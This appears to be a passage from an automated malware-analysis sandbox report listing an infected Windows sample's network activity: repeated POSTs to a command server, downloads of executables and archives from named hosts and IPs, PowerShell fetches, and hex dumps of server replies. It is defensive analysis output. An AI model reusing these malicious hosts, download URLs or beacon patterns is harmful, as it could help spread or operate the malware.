Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vxvnjhhjwdcwv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wagishcpburncp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rhafqfudulgf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bmucdlsvjvamj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ebgowpcalmic.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://kguhhqwlowh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: gebeus.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ajhanernmeqt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: gebeus.ru
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA1099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep, 5_2_00BA1099
Source: global traffic HTTP traffic detected: GET /wp-content/images/pic1.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mussangroup.com
Source: global traffic HTTP traffic detected: GET /setups.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: funrecipebooks.com
Source: global traffic HTTP traffic detected: GET /microgods/raw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-CH) WindowsPowerShell/5.1.19041.1682Host: rentry.coConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /download/direct/6b24ec97-2a8d-468d-a24d-c8081cda1dab/vm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.ioConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /download/direct/0656c5cf-51b4-4fa4-ae48-8ee5ed3d142e/lm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.io
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /systemd.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.221.157.163
Source: global traffic HTTP traffic detected: GET /win.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 64.190.113.113
Source: global traffic DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic DNS traffic detected: DNS query: evilos.cc
Source: global traffic DNS traffic detected: DNS query: gebeus.ru
Source: global traffic DNS traffic detected: DNS query: mussangroup.com
Source: global traffic DNS traffic detected: DNS query: funrecipebooks.com
Source: global traffic DNS traffic detected: DNS query: callosallsaospz.shop
Source: global traffic DNS traffic detected: DNS query: rentry.co
Source: global traffic DNS traffic detected: DNS query: store4.gofile.io
Source: global traffic DNS traffic detected: DNS query: liernessfornicsa.shop
Source: unknown HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 7627
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 85 eb Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:49 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:55:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2e 5c 24 14 a6 69 44 aa ad 10 bd cf b4 f9 6d 87 37 c6 ec 26 57 11 c2 8f 97 cb Data Ascii: #\.\$iDm7&W
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:19 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:20 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 